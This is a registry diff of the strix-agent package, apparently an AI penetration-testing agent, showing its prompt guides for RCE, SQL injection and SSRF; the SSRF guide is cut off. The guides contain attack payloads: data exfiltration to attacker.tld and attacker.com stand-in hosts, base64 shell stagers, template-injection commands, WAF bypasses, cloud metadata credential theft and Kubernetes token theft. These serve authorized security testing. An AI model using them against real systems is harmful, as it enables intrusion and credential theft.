strix-agent 0.4.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (118) hide show
  1. strix/__init__.py +0 -0
  2. strix/agents/StrixAgent/__init__.py +4 -0
  3. strix/agents/StrixAgent/strix_agent.py +89 -0
  4. strix/agents/StrixAgent/system_prompt.jinja +404 -0
  5. strix/agents/__init__.py +10 -0
  6. strix/agents/base_agent.py +518 -0
  7. strix/agents/state.py +163 -0
  8. strix/interface/__init__.py +4 -0
  9. strix/interface/assets/tui_styles.tcss +694 -0
  10. strix/interface/cli.py +230 -0
  11. strix/interface/main.py +500 -0
  12. strix/interface/tool_components/__init__.py +39 -0
  13. strix/interface/tool_components/agents_graph_renderer.py +123 -0
  14. strix/interface/tool_components/base_renderer.py +62 -0
  15. strix/interface/tool_components/browser_renderer.py +120 -0
  16. strix/interface/tool_components/file_edit_renderer.py +99 -0
  17. strix/interface/tool_components/finish_renderer.py +31 -0
  18. strix/interface/tool_components/notes_renderer.py +108 -0
  19. strix/interface/tool_components/proxy_renderer.py +255 -0
  20. strix/interface/tool_components/python_renderer.py +34 -0
  21. strix/interface/tool_components/registry.py +72 -0
  22. strix/interface/tool_components/reporting_renderer.py +53 -0
  23. strix/interface/tool_components/scan_info_renderer.py +64 -0
  24. strix/interface/tool_components/terminal_renderer.py +131 -0
  25. strix/interface/tool_components/thinking_renderer.py +29 -0
  26. strix/interface/tool_components/user_message_renderer.py +43 -0
  27. strix/interface/tool_components/web_search_renderer.py +28 -0
  28. strix/interface/tui.py +1274 -0
  29. strix/interface/utils.py +559 -0
  30. strix/llm/__init__.py +15 -0
  31. strix/llm/config.py +20 -0
  32. strix/llm/llm.py +465 -0
  33. strix/llm/memory_compressor.py +212 -0
  34. strix/llm/request_queue.py +87 -0
  35. strix/llm/utils.py +87 -0
  36. strix/prompts/README.md +64 -0
  37. strix/prompts/__init__.py +109 -0
  38. strix/prompts/cloud/.gitkeep +0 -0
  39. strix/prompts/coordination/root_agent.jinja +41 -0
  40. strix/prompts/custom/.gitkeep +0 -0
  41. strix/prompts/frameworks/fastapi.jinja +142 -0
  42. strix/prompts/frameworks/nextjs.jinja +126 -0
  43. strix/prompts/protocols/graphql.jinja +215 -0
  44. strix/prompts/reconnaissance/.gitkeep +0 -0
  45. strix/prompts/technologies/firebase_firestore.jinja +177 -0
  46. strix/prompts/technologies/supabase.jinja +189 -0
  47. strix/prompts/vulnerabilities/authentication_jwt.jinja +147 -0
  48. strix/prompts/vulnerabilities/broken_function_level_authorization.jinja +146 -0
  49. strix/prompts/vulnerabilities/business_logic.jinja +171 -0
  50. strix/prompts/vulnerabilities/csrf.jinja +174 -0
  51. strix/prompts/vulnerabilities/idor.jinja +195 -0
  52. strix/prompts/vulnerabilities/information_disclosure.jinja +222 -0
  53. strix/prompts/vulnerabilities/insecure_file_uploads.jinja +188 -0
  54. strix/prompts/vulnerabilities/mass_assignment.jinja +141 -0
  55. strix/prompts/vulnerabilities/open_redirect.jinja +177 -0
  56. strix/prompts/vulnerabilities/path_traversal_lfi_rfi.jinja +142 -0
  57. strix/prompts/vulnerabilities/race_conditions.jinja +164 -0
  58. strix/prompts/vulnerabilities/rce.jinja +154 -0
  59. strix/prompts/vulnerabilities/sql_injection.jinja +151 -0
  60. strix/prompts/vulnerabilities/ssrf.jinja +135 -0
  61. strix/prompts/vulnerabilities/subdomain_takeover.jinja +155 -0
  62. strix/prompts/vulnerabilities/xss.jinja +169 -0
  63. strix/prompts/vulnerabilities/xxe.jinja +184 -0
  64. strix/runtime/__init__.py +19 -0
  65. strix/runtime/docker_runtime.py +399 -0
  66. strix/runtime/runtime.py +29 -0
  67. strix/runtime/tool_server.py +205 -0
  68. strix/telemetry/__init__.py +4 -0
  69. strix/telemetry/tracer.py +337 -0
  70. strix/tools/__init__.py +64 -0
  71. strix/tools/agents_graph/__init__.py +16 -0
  72. strix/tools/agents_graph/agents_graph_actions.py +621 -0
  73. strix/tools/agents_graph/agents_graph_actions_schema.xml +226 -0
  74. strix/tools/argument_parser.py +121 -0
  75. strix/tools/browser/__init__.py +4 -0
  76. strix/tools/browser/browser_actions.py +236 -0
  77. strix/tools/browser/browser_actions_schema.xml +183 -0
  78. strix/tools/browser/browser_instance.py +533 -0
  79. strix/tools/browser/tab_manager.py +342 -0
  80. strix/tools/executor.py +305 -0
  81. strix/tools/file_edit/__init__.py +4 -0
  82. strix/tools/file_edit/file_edit_actions.py +141 -0
  83. strix/tools/file_edit/file_edit_actions_schema.xml +128 -0
  84. strix/tools/finish/__init__.py +4 -0
  85. strix/tools/finish/finish_actions.py +174 -0
  86. strix/tools/finish/finish_actions_schema.xml +45 -0
  87. strix/tools/notes/__init__.py +14 -0
  88. strix/tools/notes/notes_actions.py +191 -0
  89. strix/tools/notes/notes_actions_schema.xml +150 -0
  90. strix/tools/proxy/__init__.py +20 -0
  91. strix/tools/proxy/proxy_actions.py +101 -0
  92. strix/tools/proxy/proxy_actions_schema.xml +267 -0
  93. strix/tools/proxy/proxy_manager.py +785 -0
  94. strix/tools/python/__init__.py +4 -0
  95. strix/tools/python/python_actions.py +47 -0
  96. strix/tools/python/python_actions_schema.xml +131 -0
  97. strix/tools/python/python_instance.py +172 -0
  98. strix/tools/python/python_manager.py +131 -0
  99. strix/tools/registry.py +196 -0
  100. strix/tools/reporting/__init__.py +6 -0
  101. strix/tools/reporting/reporting_actions.py +63 -0
  102. strix/tools/reporting/reporting_actions_schema.xml +30 -0
  103. strix/tools/terminal/__init__.py +4 -0
  104. strix/tools/terminal/terminal_actions.py +35 -0
  105. strix/tools/terminal/terminal_actions_schema.xml +146 -0
  106. strix/tools/terminal/terminal_manager.py +151 -0
  107. strix/tools/terminal/terminal_session.py +447 -0
  108. strix/tools/thinking/__init__.py +4 -0
  109. strix/tools/thinking/thinking_actions.py +18 -0
  110. strix/tools/thinking/thinking_actions_schema.xml +52 -0
  111. strix/tools/web_search/__init__.py +4 -0
  112. strix/tools/web_search/web_search_actions.py +80 -0
  113. strix/tools/web_search/web_search_actions_schema.xml +83 -0
  114. strix_agent-0.4.0.dist-info/LICENSE +201 -0
  115. strix_agent-0.4.0.dist-info/METADATA +282 -0
  116. strix_agent-0.4.0.dist-info/RECORD +118 -0
  117. strix_agent-0.4.0.dist-info/WHEEL +4 -0
  118. strix_agent-0.4.0.dist-info/entry_points.txt +3 -0
@@ -0,0 +1,154 @@
1
+ <rce_vulnerability_guide>
2
+ <title>REMOTE CODE EXECUTION (RCE)</title>
3
+
4
+ <critical>RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.</critical>
5
+
6
+ <scope>
7
+ - OS command execution via wrappers (shells, system utilities, CLIs)
8
+ - Dynamic evaluation: template engines, expression languages, eval/vm
9
+ - Insecure deserialization and gadget chains across languages
10
+ - Media/document toolchains (ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg)
11
+ - SSRF→internal services that expose execution primitives (FastCGI, Redis)
12
+ - Container/Kubernetes escalation from app RCE to node/cluster compromise
13
+ </scope>
14
+
15
+ <methodology>
16
+ 1. Identify sinks: search for command wrappers, template rendering, deserialization, file converters, report generators, and plugin hooks.
17
+ 2. Establish a minimal oracle: timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag). Prefer OAST over noisy time sleeps.
18
+ 3. Confirm context: which user, working directory, PATH, shell, SELinux/AppArmor, containerization, read/write locations, outbound egress.
19
+ 4. Progress to durable control: file write, scheduled execution, service restart hooks; avoid loud reverse shells unless necessary.
20
+ </methodology>
21
+
22
+ <detection_channels>
23
+ <time_based>
24
+ - Unix: ;sleep 1 | `sleep 1` || sleep 1; gate delays with short subcommands to reduce noise
25
+ - Windows CMD/PowerShell: & timeout /t 2 & | Start-Sleep -s 2 | ping -n 2 127.0.0.1
26
+ </time_based>
27
+
28
+ <oast>
29
+ - DNS: {% raw %}nslookup $(whoami).x.attacker.tld{% endraw %} or {% raw %}curl http://$(id -u).x.attacker.tld{% endraw %}
30
+ - HTTP beacon: {% raw %}curl https://attacker.tld/$(hostname){% endraw %} (or fetch to pre-signed URL)
31
+ </oast>
32
+
33
+ <output_based>
34
+ - Direct: ;id;uname -a;whoami
35
+ - Encoded: ;(id;hostname)|base64; hex via xxd -p
36
+ </output_based>
37
+ </detection_channels>
38
+
39
+ <command_injection>
40
+ <delimiters_and_operators>
41
+ - ; | || & && `cmd` $(cmd) $() ${IFS} newline/tab; Windows: & | || ^
42
+ </delimiters_and_operators>
43
+
44
+ <argument_injection>
45
+ - Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x; --config=); break out of quoted segments by alternating quotes and escapes
46
+ - Environment expansion: $PATH, ${HOME}, command substitution; Windows %TEMP%, !VAR!, PowerShell $(...)
47
+ </argument_injection>
48
+
49
+ <path_and_builtin_confusion>
50
+ - Force absolute paths (/usr/bin/id) vs relying on PATH; prefer builtins or alternative tools (printf, getent) when id is filtered
51
+ - Use sh -c or cmd /c wrappers to reach the shell even if binaries are filtered
52
+ </path_and_builtin_confusion>
53
+
54
+ <evasion>
55
+ - Whitespace/IFS: ${IFS}, $'\t', <; case/Unicode variations; mixed encodings; backslash line continuations
56
+ - Token splitting: w'h'o'a'm'i, w"h"o"a"m"i; build via variables: a=i;b=d; $a$b
57
+ - Base64/hex stagers: echo payload | base64 -d | sh; PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))
58
+ </evasion>
59
+ </command_injection>
60
+
61
+ <template_injection>
62
+ - Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
63
+ - Move from expression to code execution primitives (read file, run command)
64
+ - Minimal probes:
65
+ {% raw %}
66
+ Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
67
+ Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
68
+ Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
69
+ EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
70
+ {% endraw %}
71
+ </template_injection>
72
+
73
+ <deserialization_and_el>
74
+ - Java: gadget chains via CommonsCollections/BeanUtils/Spring; tools: ysoserial; JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
75
+ - .NET: BinaryFormatter/DataContractSerializer/APIs that accept untrusted ViewState without MAC
76
+ - PHP: unserialize() and PHAR metadata; autoloaded gadget chains in frameworks and plugins
77
+ - Python/Ruby: pickle, yaml.load/unsafe_load, Marshal; seek auto-deserialization in message queues/caches
78
+ - Expression languages: OGNL/SpEL/MVEL/EL; reach Runtime/ProcessBuilder/exec
79
+ </deserialization_and_el>
80
+
81
+ <media_and_document_pipelines>
82
+ - ImageMagick/GraphicsMagick: policy.xml may limit delegates; still test legacy vectors and complex file formats
83
+ {% raw %}
84
+ Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop graphic-context
85
+ {% endraw %}
86
+ - Ghostscript: PostScript in PDFs/PS; {% raw %}%pipe%id{% endraw %} file operators
87
+ - ExifTool: crafted metadata invoking external tools or library bugs (historical CVEs)
88
+ - LaTeX: \write18/--shell-escape, \input piping; pandoc filters
89
+ - ffmpeg: concat/protocol tricks mediated by compile-time flags
90
+ </media_and_document_pipelines>
91
+
92
+ <ssrf_to_rce>
93
+ - FastCGI: gopher:// to php-fpm (build FPM records to invoke system/exec via vulnerable scripts)
94
+ - Redis: gopher:// write cron/authorized_keys or webroot if filesystem exposed; or module load when allowed
95
+ - Admin interfaces: Jenkins script console, Spark UI, Jupyter kernels reachable internally
96
+ </ssrf_to_rce>
97
+
98
+ <container_and_kubernetes>
99
+ <docker>
100
+ - From app RCE, inspect /.dockerenv, /proc/1/cgroup; enumerate mounts and capabilities (capsh --print)
101
+ - Abuses: mounted docker.sock, hostPath mounts, privileged containers; write to /proc/sys/kernel/core_pattern or mount host with --privileged
102
+ </docker>
103
+
104
+ <kubernetes>
105
+ - Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount; query API for pods/secrets; enumerate RBAC
106
+ - Talk to kubelet on 10250/10255; exec into pods; list/attach if anonymous/weak auth
107
+ - Escalate via privileged pods, hostPath mounts, or daemonsets if permissions allow
108
+ </kubernetes>
109
+ </container_and_kubernetes>
110
+
111
+ <post_exploitation>
112
+ - Privilege escalation: sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)
113
+ - Persistence: cron/systemd/user services; web shell behind auth; plugin hooks; supply chain in CI/CD
114
+ - Lateral movement: pivot with SSH keys, cloud metadata credentials, internal service tokens
115
+ </post_exploitation>
116
+
117
+ <waf_and_filter_bypasses>
118
+ - Encoding differentials (URL, Unicode normalization), comment insertion, mixed case, request smuggling to reach alternate parsers
119
+ - Absolute paths and alternate binaries (busybox, sh, env); Windows variations (PowerShell vs CMD), constrained language bypasses
120
+ </waf_and_filter_bypasses>
121
+
122
+ <validation>
123
+ 1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution.
124
+ 2. Show command context (uid, gid, cwd, env) and controlled output.
125
+ 3. Demonstrate persistence or file write under application constraints.
126
+ 4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed.
127
+ 5. Keep PoCs minimal and reproducible across runs and transports.
128
+ </validation>
129
+
130
+ <false_positives>
131
+ - Only crashes or timeouts without controlled behavior
132
+ - Filtered execution of a limited command subset with no attacker-controlled args
133
+ - Sandboxed interpreters executing in a restricted VM with no IO or process spawn
134
+ - Simulated outputs not derived from executed commands
135
+ </false_positives>
136
+
137
+ <impact>
138
+ - Remote system control under application user; potential privilege escalation to root
139
+ - Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
140
+ - Cluster compromise when combined with container/Kubernetes misconfigurations
141
+ </impact>
142
+
143
+ <pro_tips>
144
+ 1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise.
145
+ 2. When command injection is weak, pivot to file write or deserialization/SSTI paths for stable control.
146
+ 3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates.
147
+ 4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads.
148
+ 5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps; it informs payload choice.
149
+ 6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies.
150
+ 7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops.
151
+ </pro_tips>
152
+
153
+ <remember>RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.</remember>
154
+ </rce_vulnerability_guide>
@@ -0,0 +1,151 @@
1
+ <sql_injection_guide>
2
+ <title>SQL INJECTION</title>
3
+
4
+ <critical>SQLi remains one of the most durable and impactful classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.</critical>
5
+
6
+ <scope>
7
+ - Classic relational DBMS: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
8
+ - Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
9
+ - Integration paths: ORMs, query builders, stored procedures, search servers, reporting/exporters
10
+ </scope>
11
+
12
+ <methodology>
13
+ 1. Identify query shape: SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET, and whether user input influences identifiers vs values.
14
+ 2. Confirm injection class: reflective errors, boolean diffs, timing, or out-of-band callbacks. Choose the quietest reliable oracle.
15
+ 3. Establish a minimal extraction channel: UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS.
16
+ 4. Pivot to metadata and high-value tables, then target impactful write primitives (auth bypass, role changes, filesystem access) if feasible.
17
+ </methodology>
18
+
19
+ <injection_surfaces>
20
+ - Path/query/body/header/cookie; mixed encodings (URL, JSON, XML, multipart)
21
+ - Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
22
+ - Query builders: whereRaw/orderByRaw, string templates in ORMs; JSON coercion or array containment operators
23
+ - Batch/bulk endpoints and report generators that embed filters directly
24
+ </injection_surfaces>
25
+
26
+ <detection_channels>
27
+ - Error-based: provoke type/constraint/parser errors revealing stack/version/paths
28
+ - Boolean-based: pair requests differing only in predicate truth; diff status/body/length/ETag
29
+ - Time-based: SLEEP/pg_sleep/WAITFOR; use subselect gating to avoid global latency noise
30
+ - Out-of-band (OAST): DNS/HTTP callbacks via DB-specific primitives
31
+ </detection_channels>
32
+
33
+ <union_visibility>
34
+ - Determine column count and types via ORDER BY n and UNION SELECT null,...
35
+ - Align types with CAST/CONVERT; coerce to text/json for rendering
36
+ - When UNION is filtered, consider error-based or blind channels
37
+ </union_visibility>
38
+
39
+ <dbms_primitives>
40
+ <mysql>
41
+ - Version/user/db: @@version, database(), user(), current_user()
42
+ - Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
43
+ - File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
44
+ - OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
45
+ - Time: SLEEP(n), BENCHMARK
46
+ - JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak
47
+ </mysql>
48
+
49
+ <postgresql>
50
+ - Version/user/db: version(), current_user, current_database()
51
+ - Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
52
+ - OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
53
+ - Time: pg_sleep(n)
54
+ - Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
55
+ - JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction
56
+ </postgresql>
57
+
58
+ <mssql>
59
+ - Version/db/user: @@version, db_name(), system_user, user_name()
60
+ - OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
61
+ - Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
62
+ - Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
63
+ - Error-based: convert/parse, divide by zero, FOR XML PATH leaks
64
+ </mssql>
65
+
66
+ <oracle>
67
+ - Version/db/user: banner from v$version, ora_database_name, user
68
+ - OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
69
+ - Time: dbms_lock.sleep(n)
70
+ - Error-based: to_number/to_date conversions, XMLType
71
+ - File: UTL_FILE with directory objects (privileged)
72
+ </oracle>
73
+ </dbms_primitives>
74
+
75
+ <blind_extraction>
76
+ - Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
77
+ - Binary search on character space for fewer requests; encode outputs (hex/base64) to normalize
78
+ - Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)
79
+ </blind_extraction>
80
+
81
+ <out_of_band>
82
+ - Prefer OAST to minimize noise and bypass strict response paths; embed data in DNS labels or HTTP query params
83
+ - MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a; Oracle: UTL_HTTP.REQUEST('http://<data>.attacker'); MySQL: LOAD_FILE with UNC
84
+ </out_of_band>
85
+
86
+ <write_primitives>
87
+ - Auth bypass: inject OR-based tautologies or subselects into login checks
88
+ - Privilege changes: update role/plan/feature flags when UPDATE is injectable
89
+ - File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection; aim for webroot only when feasible and legal
90
+ - Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
91
+ </write_primitives>
92
+
93
+ <waf_and_parser_bypasses>
94
+ - Whitespace/spacing: /**/, /**/!00000, comments, newlines, tabs, 0xe3 0x80 0x80 (ideographic space)
95
+ - Keyword splitting/concatenation: UN/**/ION, U%4eION, backticks/quotes, case folding
96
+ - Numeric tricks: scientific notation, signed/unsigned, hex (0x61646d696e)
97
+ - Encodings: double URL encoding, mixed Unicode normalizations (NFKC/NFD), char()/CONCAT_ws to build tokens
98
+ - Clause relocation: subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape
99
+ </waf_and_parser_bypasses>
100
+
101
+ <orm_and_query_builders>
102
+ - Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
103
+ - Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
104
+ - JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
105
+ - Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))
106
+ </orm_and_query_builders>
107
+
108
+ <uncommon_contexts>
109
+ - ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
110
+ - LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
111
+ - Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
112
+ - XML/JSON functions: error generation via malformed documents/paths
113
+ </uncommon_contexts>
114
+
115
+ <validation>
116
+ 1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates.
117
+ 2. Extract verifiable metadata (version, current user, database name) using the established channel.
118
+ 3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope.
119
+ 4. Provide reproducible requests that differ only in the injected fragment.
120
+ 5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant).
121
+ </validation>
122
+
123
+ <false_positives>
124
+ - Generic errors unrelated to SQL parsing or constraints
125
+ - Static response sizes due to templating rather than predicate truth
126
+ - Artificial delays from network/CPU unrelated to injected function calls
127
+ - Parameterized queries with no string concatenation, verified by code review
128
+ </false_positives>
129
+
130
+ <impact>
131
+ - Direct data exfiltration and privacy/regulatory exposure
132
+ - Authentication and authorization bypass via manipulated predicates
133
+ - Server-side file access or command execution (platform/privilege dependent)
134
+ - Persistent supply-chain impact via modified data, jobs, or procedures
135
+ </impact>
136
+
137
+ <pro_tips>
138
+ 1. Pick the quietest reliable oracle first; avoid noisy long sleeps.
139
+ 2. Normalize responses (length/ETag/digest) to reduce variance when diffing.
140
+ 3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise.
141
+ 4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available.
142
+ 5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw.
143
+ 6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly.
144
+ 7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels.
145
+ 8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types.
146
+ 9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly.
147
+ 10. Document exact query shapes; defenses must match how the query is constructed, not assumptions.
148
+ </pro_tips>
149
+
150
+ <remember>Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.</remember>
151
+ </sql_injection_guide>
@@ -0,0 +1,135 @@
1
+ <ssrf_vulnerability_guide>
2
+ <title>SERVER-SIDE REQUEST FORGERY (SSRF)</title>
3
+
4
+ <critical>SSRF enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.</critical>
5
+
6
+ <scope>
7
+ - Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
8
+ - Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
9
+ - Service-to-service hops through gateways and sidecars (envoy/nginx)
10
+ - Cloud and platform metadata endpoints, instance services, and control planes
11
+ </scope>
12
+
13
+ <methodology>
14
+ 1. Identify every user-influenced URL/host/path across web/mobile/API and background jobs. Include headers that trigger server-side fetches (link previews, analytics, crawler hooks).
15
+ 2. Establish a quiet oracle first (OAST DNS/HTTP callbacks). Then pivot to internal addressing (loopback, RFC1918, link-local, IPv6, hostnames) and protocol variations.
16
+ 3. Enumerate redirect behavior, header propagation, and method control (GET-only vs arbitrary). Test parser differentials across frameworks, CDNs, and language libraries.
17
+ 4. Target high-value services (metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels). Chain to write/exec primitives if possible.
18
+ </methodology>
19
+
20
+ <injection_surfaces>
21
+ - Direct URL params: url=, link=, fetch=, src=, webhook=, avatar=, image=
22
+ - Indirect sources: Open Graph/link previews, PDF/image renderers, server-side analytics (Referer trackers), import/export jobs, webhooks/callback verifiers
23
+ - Protocol-translating services: PDF via wkhtmltopdf/Chrome headless, image pipelines, document parsers, SSO validators, archive expanders
24
+ - Less obvious: GraphQL resolvers that fetch by URL, background crawlers, repository/package managers (git, npm, pip), calendar (ICS) fetchers
25
+ </injection_surfaces>
26
+
27
+ <cloud_and_platforms>
28
+ <aws>
29
+ - IMDSv1: http://169.254.169.254/latest/meta-data/ → {% raw %}/iam/security-credentials/{role}{% endraw %}, {% raw %}/user-data{% endraw %}
30
+ - IMDSv2: requires token via PUT {% raw %}/latest/api/token{% endraw %} with header {% raw %}X-aws-ec2-metadata-token-ttl-seconds{% endraw %}, then include {% raw %}X-aws-ec2-metadata-token{% endraw %} on subsequent GETs. If the sink cannot set headers or methods, fallback to other targets or seek intermediaries that can
31
+ - ECS/EKS task credentials: {% raw %}http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI{% endraw %}
32
+ </aws>
33
+
34
+ <gcp>
35
+ - Endpoint: http://metadata.google.internal/computeMetadata/v1/
36
+ - Required header: {% raw %}Metadata-Flavor: Google{% endraw %}
37
+ - Target: {% raw %}/instance/service-accounts/default/token{% endraw %}
38
+ </gcp>
39
+
40
+ <azure>
41
+ - Endpoint: http://169.254.169.254/metadata/instance?api-version=2021-02-01
42
+ - Required header: {% raw %}Metadata: true{% endraw %}
43
+ - MSI OAuth: {% raw %}/metadata/identity/oauth2/token{% endraw %}
44
+ </azure>
45
+
46
+ <kubernetes>
47
+ - Kubelet: 10250 (authenticated) and 10255 (deprecated read-only). Probe {% raw %}/pods{% endraw %}, {% raw %}/metrics{% endraw %}, exec/attach endpoints
48
+ - API server: https://kubernetes.default.svc/. Authorization often needs the service account token; SSRF that propagates headers/cookies may reuse them
49
+ - Service discovery: attempt cluster DNS names (svc.cluster.local) and default services (kube-dns, metrics-server)
50
+ </kubernetes>
51
+ </cloud_and_platforms>
52
+
53
+ <internal_targets>
54
+ - Docker API: http://localhost:2375/v1.24/containers/json (no TLS variants often internal-only)
55
+ - Redis/Memcached: dict://localhost:11211/stat, gopher payloads to Redis on 6379
56
+ - Elasticsearch/OpenSearch: http://localhost:9200/_cat/indices
57
+ - Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
58
+ - FastCGI/PHP-FPM: gopher://localhost:9000/ (craft records for file write/exec when app routes to FPM)
59
+ </internal_targets>
60
+
61
+ <protocol_exploitation>
62
+ <gopher>
63
+ - Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI). Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
64
+ </gopher>
65
+
66
+ <file_and_wrappers>
67
+ - file:///etc/passwd, file:///proc/self/environ when libraries allow file handlers
68
+ - jar:, netdoc:, smb:// and language-specific wrappers (php://, expect://) where enabled
69
+ </file_and_wrappers>
70
+
71
+ <parser_and_filter_bypasses>
72
+ <address_variants>
73
+ - Loopback: 127.0.0.1, 127.1, 2130706433, 0x7f000001, ::1, [::ffff:127.0.0.1]
74
+ - RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16; test IPv6-mapped and mixed-notation forms
75
+ </address_variants>
76
+
77
+ <url_confusion>
78
+ - Userinfo and fragments: http://internal@attacker/ or http://attacker#@internal/
79
+ - Scheme-less/relative forms the server might complete internally: //169.254.169.254/
80
+ - Trailing dots and mixed case: internal. vs INTERNAL, Unicode dot lookalikes
81
+ </url_confusion>
82
+
83
+ <redirect_behavior>
84
+ - Allowlist only applied pre-redirect: 302 from attacker → internal host. Test multi-hop and protocol switches (http→file/gopher via custom clients)
85
+ </redirect_behavior>
86
+
87
+ <header_and_method_control>
88
+ - Some sinks reflect or allow CRLF-injection into the request line/headers; if arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
89
+ </header_and_method_control>
90
+
91
+ <blind_and_mapping>
92
+ - Use OAST (DNS/HTTP) to confirm egress. Derive internal reachability from timing, response size, TLS errors, and ETag differences
93
+ - Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
94
+ </blind_and_mapping>
95
+
96
+ <chaining>
97
+ - SSRF → Metadata creds → cloud API access (list buckets, read secrets)
98
+ - SSRF → Redis/FCGI/Docker → file write/command execution → shell
99
+ - SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral
100
+ </chaining>
101
+
102
+ <validation>
103
+ 1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences).
104
+ 2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service.
105
+ 3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read.
106
+ 4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior.
107
+ </validation>
108
+
109
+ <false_positives>
110
+ - Client-side fetches only (no server request)
111
+ - Strict allowlists with DNS pinning and no redirect following
112
+ - SSRF simulators/mocks returning canned responses without real egress
113
+ - Blocked egress confirmed by uniform errors across all targets and protocols
114
+ </false_positives>
115
+
116
+ <impact>
117
+ - Cloud credential disclosure with subsequent control-plane/API access
118
+ - Access to internal control panels and data stores not exposed publicly
119
